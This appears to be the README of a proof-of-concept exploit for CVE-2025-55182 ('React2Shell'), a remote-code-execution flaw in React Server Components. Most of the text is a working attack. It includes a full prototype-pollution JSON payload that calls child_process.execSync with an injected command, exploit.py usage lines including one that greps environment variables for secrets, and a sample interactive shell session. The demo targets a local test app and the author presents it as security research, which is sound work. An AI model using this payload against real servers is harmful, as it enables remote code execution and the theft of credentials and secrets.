
Proof-of-concept exploit for CVE-2025-55182 (React2Shell), a critical RCE vulnerability in React Server Components via prototype pollution. Includes interactive and command-line exploitation modes.
React Server Components deserialize FormData unsafely. Specially crafted multipart fields trigger prototype pollution and execute arbitrary code via .
child_process.execSyncnpm install
pip3 install requests
npm run dev
Application runs at: http://localhost:3000
python3 exploit.py -c "whoami"
python3 exploit.py -c "whoami"
python3 exploit.py -c "pwd"
python3 exploit.py -c "ls -la"
python3 exploit.py -c "cat package.json"
python3 exploit.py -c "env | grep SECRET"
python3 exploit.py -i
> whoami
COMMAND RESULT:
your-username
============================================================
> pwd
COMMAND RESULT:
/path/to/project
============================================================
> exit
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('CMD',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
npm run dev
python3 exploit.py -c "whoami"
python3 exploit.py -c "whoami" -v
Shows full payload structure and server response
By Guaxinim | Cyber Security Research